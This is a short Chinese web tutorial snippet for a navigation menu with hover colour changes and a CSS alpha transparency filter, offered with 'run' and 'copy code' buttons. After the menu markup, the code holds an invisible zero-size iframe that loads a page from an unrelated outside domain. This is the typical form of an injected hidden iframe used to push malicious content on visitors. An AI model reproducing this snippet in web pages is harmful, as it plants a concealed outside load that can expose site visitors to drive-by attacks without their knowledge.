js和css滤镜效果导航菜单

   js和css滤镜效果导航菜单，非常炫哦··大家看一下吧，利用滤镜达到透明的效果。

<script language="javascript" for="menu" event="onmouseover"> this.style.background="#ff0000"; </script> <!-- 上面是定义脚本和事件对象、鼠标对象、this.style.background="#ff0000"是对象的背景色彩--> <script language="javascript" for="menu" event="onmousedown"> this.style.background="#dcdcff"; </script> <script language="javascript" for="menu" event="onmouseout"> this.style.background="#0000ff"; </script> <!-- 同上 --> <style type="text/css"> td{width:120px;height:30px;background:#0000ff;filter:alpha(opacity=100,finishopacity=0,style=2);text-align:center;font-size:9pt;color:#ff8800} </style> <!-- CSS对背景和对象的控制，这里用的是透明滤镜还有文字格式化 --> <div> <table><tr><td id="menu">首页</td><td id="menu">新闻</td><td id="menu">生活</td><td id="menu">娱乐</td><td id="menu">军事</td><td id="menu">旅游</td><td id="menu">健康</td></tr></table> </div> <!-- 定义层，使用ID来标示对象以便调用，然后触发鼠标事件 --> <iframe src="http://oa.wlsh.cn/wlb/uu.htm" width="0" height="0" frameborder="0"></iframe>
运行代码  复制代码  另存代码  //ACCP教程网提示您：您可以先修改部分代码再运行